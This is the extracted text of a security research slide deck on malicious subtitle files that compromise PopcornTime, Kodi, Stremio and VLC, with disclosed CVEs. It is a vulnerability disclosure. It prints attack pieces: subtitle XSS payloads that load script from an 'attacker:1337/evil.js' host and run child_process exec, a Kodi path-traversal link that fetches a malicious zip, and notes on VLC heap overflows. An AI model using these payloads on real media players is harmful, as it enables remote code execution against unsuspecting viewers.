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Subtitles Drive-by Attack

Subtitles are considered dangerous







Subtitles

Downloads per day







.SRT SubRip
Basic HTML

<b>,<i><u>,<font…>



.SRT SubRip
Basic HTML

<b>,<i><u>,<font…>

.SUB SubViewer Basic Formatting 
[Color],[Font],[br]



.SRT SubRip
Basic HTML

<b>,<i><u>,<font…>

.SUB SubViewer
MPSub



.SRT SubRip
Basic HTML

<b>,<i><u>,<font…>

.SUB
SubViewer

MPSub
MicroDVD

Control Codes 
{y:i/u/b/s},{f:font},{s:size}, 

{c:#0000FF},{p:X,Y},{H:Greek}



.SRT SubRip
Basic HTML

<b>,<i><u>,<font…>

.SUB
SubViewer

MPSub
MicroDVD

.SSA SubStationAlpha

Name, Fontname, Fontsize, PrimaryColour, SecondaryColour, 
TertiaryColour, BackColour, Bold, Italic, BorderStyle, Outline, 
Shadow, Alignment, MarginL, MarginR, MarginV, AlphaLevel, 

Encoding

Control Codes 
{y:i/u/b/s},{f:font},{s:size}, 

{c:#0000FF},{p:X,Y},{H:Greek}
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.SRT SubRip
Basic HTML

<b>,<i><u>,<font…>
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SubViewer
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Control Codes 
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.SRT SubRip
Basic HTML

<b>,<i><u>,<font…>

.SUB
SubViewer

MPSub
MicroDVD

Advanced SubStationAlpha.ASS

Control Codes 
{y:i/u/b/s},{f:font},{s:size}, 

{c:#0000FF},{p:X,Y},{H:Greek}



.ASS
Scaling
Angle Shifting Drawing
Binary Image Embedding

Binary Font Embedding

System Commands



.ASS



.SRT SubRip
Basic HTML

<b>,<i><u>,<font…>

.SUB
SubViewer

MPSub
MicroDVD

Advanced SubStationAlpha.ASS

Control Codes 
{y:i/u/b/s},{f:font},{s:size}, 

{c:#0000FF},{p:X,Y},{H:Greek}



.SRT

.SUB

.ASS

.AQT
.JSS

.PJS
.PSB
.SMI
.STL
.SSF

.USF
.IDX
.CVD
.DKS
.TTXT



PopcornTime



Native Application With Web Technologies Support  

PopcornTime



Native Application With Web Technologies Support  



Birth                                       2011                           2013

NW.js Electron

Maintainer                           Intel                   GitHub

Platforms             Mac, Linux & Windows  Mac, Linux & Windows

Runtime                   Chromium (V8)  libchromiumcontent (V8)

XP Support                           Yes                      No

PDF Support                          Yes                Using pdf.js

Plugin Support                  NaCL, Pepper            Pepper

Native Application With Web Technologies Support  



var exec = require(‘child_process').exec; 

exec('calc.exe', function callback(error, stdout, stderr){ 
    // result 
}) 

XSS

Vulnerabilities?

=RCE

Native Application With Web Technologies Support  



PopcornTime

OpenSubtitles.org



How PopcornTime uses the subtitles

/src/app/vendor/videojshooks.js 



<img src=“123.123” onerror=alert(‘1’)>

1 
00:00:01,000 --> 00:00:10,000 

  These are subtitles with <i>HTML Support</i>



<img src=“123.123” onerror=
this.style.display='none'; 
script = document.createElement('script'); 
script.type = 'text/javascript'; 
script.async = true; 
script.src = ‘                                          

“

”>

var exec = require(‘child_process').exec; 

exec('calc.exe', function callback(error, stdout, stderr){ 
    // result 
}) 

evil.js:

http://attacker:1337/evil.js                                             ’; 
document.getElementByTagName('head')[0].appendChild(script);



PopcornTime Demo



The Watering Hole

OpenSubtitles.org



The Smart Search

Request Response



How does it rank

From the documentation:



How does it rank - from the source code



MatchTags()
    var matchTags = function(sub, maxScore) { 
        if (!input.filename) { 
            return 0; 
        } 

        if (!fileTags) { 
            fileTags = normalize(input.filename) 
                .toLowerCase() 
                .match(/[a-z0-9]{2,}/gi); 
        } 

        if (fileTags.length === 0) { 
            return 0; 
        } 

        var subNames = normalize(sub.MovieReleaseName + '_' + sub.SubFileName); 
        var subTags = subNames 
            .toLowerCase() 
            .match(/[a-z0-9]{2,}/gi); 

        if (subTags.length === 0) { 
            return 0; 
        } 

        _.each(fileTags, function(tag) { 
            fileTagsDic[tag] = false; 
        }); 

        var matches = 0; 
        _.each(subTags, function(subTag) { 
            // is term in filename, only once 
            if (fileTagsDic[subTag] === false) { 
                fileTagsDic[subTag] = true; 
                matches++; 
            } 
        }); 
        return parseInt((matches / fileTags.length) * maxScore); 
    }; 



Trolls 2016 1080p BluRay x264 YTS AG mp4. . . . -[ . ].Movie Name:

Subtitle Name:Trolls 2016 BDRip. . .x264 Sparks- .srt
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Subtitle Name:Trolls 2016 BDRip. . .x264 Sparks- .srt
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Trolls
2016
1080p
BluRay
x264
YTS
AG
mp4

. . . . -[ . ].Movie Name:

Subtitle Name:

Trolls
2016
BDRip

. . .

x264
Sparks

- .

srt

SharedTags  / MovieTags * MaxScore
3 8 7 = 2



Trolls 2016 1080p BluRay x264 YTS AG mp4. . . . -[ . ].Movie Name:

Subtitle Name:Trolls 2016 BDRip. . .x264 Sparks- .srt



Trolls 2016 1080p BluRay x264 YTS AG mp4. . . . -[ . ].Movie Name:

Subtitle Name: Trolls 2016 1080p BluRay x264 YTS AG srt. . . . -[ . ].

Full Comptability = 7
+ Imdb ID = 5__

12
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Highest Score: 14 Average Score: ~10



User Ranking
 user | anon       = 0 
 platinum | gold = 3 
 admin | trusted = 4



Final Score



KODI
72 Languages

40 Million users







plugin://%s/?ac.on=download&link=%s&ID=%s&filename=%s&format=%s	



plugin://%s/?ac.on=download&link=%s&ID=%s&filename=%s&format=%s	



plugin://%s/?ac.on=download&link=%s&ID=%s&filename=%s&format=%s	



plugin://%s/?ac.on=download&link=%s&ID=%s&filename=%s&format=%s	



plugin://%s/?ac.on=download&link=%s&ID=%s&	filename=%s&format=%s



plugin://%s/?ac.on=download&link=%s&ID=%s&	

filename=

&format=%s

sub.tles_file_name.srt&link=<controlled>&ID=<controlled>



plugin://%s/?ac.on=download&link=%s&ID=%s&	 &format=%s

filename=sub.tles_file_name.srt&link=<controlled>&ID=<controlled>



plugin://%s/?ac.on=download&link=%s&ID=%s&	 &format=%s

Download(id, url, format)

filename=sub.tles_file_name.srt&link=<controlled>&ID=<controlled>filename=sub.tles_file_name.srt&link=<controlled> <controlled>&ID=



Download(id, url, format)
filename=sub.tles_file_name.srt&link=<controlled> <controlled>&ID=



Download(id, url, format)
-123&ID=filename=sub.tles_file_name.srt&link=<controlled> <controlled>



Download(id, url, format)
filename=sub.tles_file_name.srt&link= &ID= -123hHp://aHacker.com/malicious.zip



• Overwrite Addon Python File 
• ../../../../Kodi/addons/service.subtitles.opensubstitles/<python_file>

CVE-2017-8314

• Directory Traversal



Kodi Demo



Native Application With Web Technologies Support  

OpenSubtitles.org



Good ‘ol PopcornTime trick?

That didn’t work



ASAR Archive
$ npm install asar
$ npm extract app.asar



Sanitize



Support us?



But what if…

<a href=“http://attacker/evil.js”> 

</a>
<img src=“support.jpg”>

var exec = require(‘child_process').exec; 

exec('calc.exe', function callback(error, stdout, stderr){ 
    // result 
}) 

evil.js:



Stremio Demo



180,000,000 Users

VLC



“very popular, but quite large and complex piece of software”

VLC



sub_read_subtitle_function [] = { 
{ "microdvd",  SUB_TYPE_MICRODVD,   "MicroDVD",    ParseMicroDvd }, 
{ "subrip",   SUB_TYPE_SUBRIP,     "SubRIP",   ParseSubRip }, 
{ “subviewer",  SUB_TYPE_SUBVIEWER,  "SubViewer",  ParseSubViewer }, 
{ "ssa1",    SUB_TYPE_SSA1,    "SSA-1",   ParseSSA }, 
{ "ssa2-4",   SUB_TYPE_SSA2_4,     "SSA-2/3/4",   ParseSSA }, 
{ "ass",      SUB_TYPE_ASS,    "SSA/ASS",   ParseSSA },  
{ "vplayer",   SUB_TYPE_VPLAYER,   "VPlayer",   ParseVplayer },  
{ "sami",    SUB_TYPE_SAMI,    "SAMI",      ParseSami },  
{ "dvdsubtitle",SUB_TYPE_DVDSUBTITLE,  “DVDSubtitle", ParseDVDSubtitle },  
{ "mpl2",    SUB_TYPE_MPL2,    "MPL2",      ParseMPL2 },  
{ "aqt",      SUB_TYPE_AQT,    "AQTitle",   ParseAQT },  
{ "pjs",      SUB_TYPE_PJS,    "PhoenixSub",  ParsePJS },  
{ "mpsub",    SUB_TYPE_MPSUB,      "MPSub",   ParseMPSub },  
{ "jacosub",    SUB_TYPE_JACOSUB,   "JacoSub",   ParseJSS }, 
{ "psb",        SUB_TYPE_PSB,    "PowerDivx",  ParsePSB }, 
{ "realtext",   SUB_TYPE_RT,       "RealText",    ParseRealText }, 
{ "dks",      SUB_TYPE_DKS,    "DKS",    ParseDKS }, 
{ "subviewer1", SUB_TYPE_SUBVIEW1,   "Subviewer 1”, ParseSubViewer1 }, 
{ "text/vtt",   SUB_TYPE_VTT,          "WebVTT",   ParseVTT }, 
{ NULL,       SUB_TYPE_UNKNOWN,   "Unknown",   NULL } }; 

Supported File Formats



Decoder

1 
00:00:01,000 --> 00:00:10,000 
        <b><u><font size=14 color=green>Hello World</font></u></b> 

  

Hello World Hello World

subsdec.c



Manual Auditing
subsdec.c

else if (!strncasecmp(psz_subtitle, "<font ", 6)) { 
    const char * psz_attribs[] = { 
        ”face=", “family=“, “size=“, "color=", "outline-color=", "shadow-color=",  
        "outline-level=", "shadow-level=", "back-color=","alpha=", NULL 
    }; 
    HtmlCopy( & psz_html, & psz_subtitle, "<font "); 
    HtmlPut( & psz_tag, "f"); 
    while ( * psz_subtitle != '>') { 

1 
00:00:01,000 --> 00:00:10,000 

 <font face=“arial”> Hey…



Manual Auditing
subsdec.c

else if (!strncasecmp(psz_subtitle, "<font ", 6)) { 
    const char * psz_attribs[] = { 
        ”face=", “family=“, “size=“, "color=", "outline-color=", "shadow-color=",  
        "outline-level=", "shadow-level=", "back-color=","alpha=", NULL 
    }; 
    HtmlCopy( & psz_html, & psz_subtitle, "<font "); 
    HtmlPut( & psz_tag, "f"); 
    while ( * psz_subtitle != '>') { 

1 
00:00:01,000 --> 00:00:10,000 

 <font face=“arial”> Hey…



Manual Auditing
subsdec.c

else if (!strncasecmp(psz_subtitle, "<font ", 6)) { 
    const char * psz_attribs[] = { 
        ”face=", “family=“, “size=“, "color=", "outline-color=", "shadow-color=",  
        "outline-level=", "shadow-level=", "back-color=","alpha=", NULL 
    }; 
    HtmlCopy( & psz_html, & psz_subtitle, "<font "); 
    HtmlPut( & psz_tag, "f"); 
    while ( * psz_subtitle != '>') { 

1 
00:00:01,000 --> 00:00:10,000 

 <font face=“arial”> Hey…



Manual Auditing
subsdec.c

else if (!strncasecmp(psz_subtitle, "<font ", 6)) { 
    const char * psz_attribs[] = { 
        ”face=", “family=“, “size=“, "color=", "outline-color=", "shadow-color=",  
        "outline-level=", "shadow-level=", "back-color=","alpha=", NULL 
    }; 
    HtmlCopy( & psz_html, & psz_subtitle, "<font "); 
    HtmlPut( & psz_tag, "f"); 
    while ( * psz_subtitle != '>') { 

1 
00:00:01,000 --> 00:00:10,000 

 <font face=“arial”> Hey…



Manual Auditing
subsdec.c

else if (!strncasecmp(psz_subtitle, "<font ", 6)) { 
    const char * psz_attribs[] = { 
        ”face=", “family=“, “size=“, "color=", "outline-color=", "shadow-color=",  
        "outline-level=", "shadow-level=", "back-color=","alpha=", NULL 
    }; 
    HtmlCopy( & psz_html, & psz_subtitle, "<font "); 
    HtmlPut( & psz_tag, "f"); 
    while ( * psz_subtitle != '>') { 

1 
00:00:01,000 --> 00:00:10,000 

 <font face=“arial”> Hey…



Manual Auditing
subsdec.c

else if (!strncasecmp(psz_subtitle, "<font ", 6)) { 
    const char * psz_attribs[] = { 
        ”face=", “family=“, “size=“, "color=", "outline-color=", "shadow-color=",  
        "outline-level=", "shadow-level=", "back-color=","alpha=", NULL 
    }; 
    HtmlCopy( & psz_html, & psz_subtitle, "<font "); 
    HtmlPut( & psz_tag, "f"); 
    while ( * psz_subtitle != '>') { 

1 
00:00:01,000 --> 00:00:10,000 

 <font face=“arial”   Hey…



Manual Auditing
subsdec.c

else if (!strncasecmp(psz_subtitle, "<font ", 6)) { 
    const char * psz_attribs[] = { 
        ”face=", “family=“, “size=“, "color=", "outline-color=", "shadow-color=",  
        "outline-level=", "shadow-level=", "back-color=","alpha=", NULL 
    }; 
    HtmlCopy( & psz_html, & psz_subtitle, "<font "); 
    HtmlPut( & psz_tag, "f"); 
    while ( * psz_subtitle != '>') { 

1 
00:00:01,000 --> 00:00:10,000 

 <font face=“arial”   Hey…

CVE-2017-8310



Fuzzing Infrastructure



AFL

./afl-fuzz –t 600000 –m 2048 –i input/ -o output/ –S "fuzzer$(date +%s)" -x 
subtitles.dict  -- ~/sources/vlc-2.2-afl/bin/vlc-static –q –I dummy --sub-
file @@ 

Show no window Argument to fuzz

Folder of corpus Dictionary words

-sout=‘#transcode{vcodec=“x264”,soverlay=“true”}:standard{access="file",mux= 
"avi",dst="/dev/null"}' ./input.mp4 vlc://quit

vlc://quit


cor·pus
(.n) a set of initial test cases comprising of valid files that 
represent the protocol/functionality being fuzzed

.SRT .ASS



.SRT

cor·pus

0 :0 :1, 0 0 : 0 10: 00 0 00 --> 0 0 , 00



cor·pus

0 :0 :1 .0 0 :0 10: . 0.JSS



cor·pus

0 :0 :1 .0 0 :0 10: . 0.JSS

ParseJSS
JACO Sub Script files



JACO Sub Script files

Directives

[Timing] /[Directive][Argument] Subtitles Text

#[Directive][Arguments]

#T100
#S -0.20
#F	3	JACOsub.font	18
0:00:00.00	0:00:01.00	CP2	Colorful	Text!

Global

Inline

ParseJSS



ParseJSS
JACO Sub Script files

00:00:01 00:00:02 CP2 Hello World

... 
 { 
  while( *psz_text != ' ' )  
  { psz_text++;} 
 };  

/* Directives are NOT parsed yet */



ParseJSS
JACO Sub Script files

... 
 { 
  while( *psz_text != ' ' )  
  { psz_text++;} 
 };  

/* Directives are NOT parsed yet */

00:00:01 00:00:02 CP2 Hello World



ParseJSS
JACO Sub Script files

00:00:01 00:00:02 CP2HelloWorld

... 
 { 
  while( *psz_text != ' ' )  
  { psz_text++;} 
 };  

/* Directives are NOT parsed yet */



ParseJSS
JACO Sub Script files

00:00:01 00:00:02 CP2HelloWorldCVE-2017-8313
... 
 { 
  while( *psz_text != ' ' )  
  { psz_text++;} 
 };  

/* Directives are NOT parsed yet */



ParseJSS
JSS

0:0:1.0   0:0:10.0   \F
0:0:1.0   0:0:10.0   \C #0000FF Meow 

3 JACOsub.font 18 Cat



ParseJSS
JSS

0:0:1.0   0:0:10.0   \F\0



ParseJSS
JSS



ParseJSS
JSS

CVE-2017-8311



ParseJSS
JSS

Heap Buffer Overflow



Exploitation

@yannayli



VLC Demo



Summary
• 25+ Subtitles formats 

• Unstandardised subtitles library 

• 4 Platforms owned (PopcornTime, Kodi, StremIO, 
VLC) 

• Subtitles repository manipulated (OpenSubtitles) 

• Full control over the subtitles supply chain 

• New malware delivery mechanism (~220 million users)



HACKED IN TRANSLATION

©1994-2017 Check Point Software Technologies Ltd. All rights reserved.

SUBTITLES WRITERS

SUBTITLES
REPOSITORIES

25+ SUBTITLE
FORMATS

~200 MILLION USERS

Kodi

VLC

Popcorn Time

Stremio

Attacker uploads to 
online repository 

and manipulates the 
ranking algorithm

2
Attacker crafts 

malicious 
subtitles file

1
User loads 

malicious subtitles 
from trusted 

sources

3
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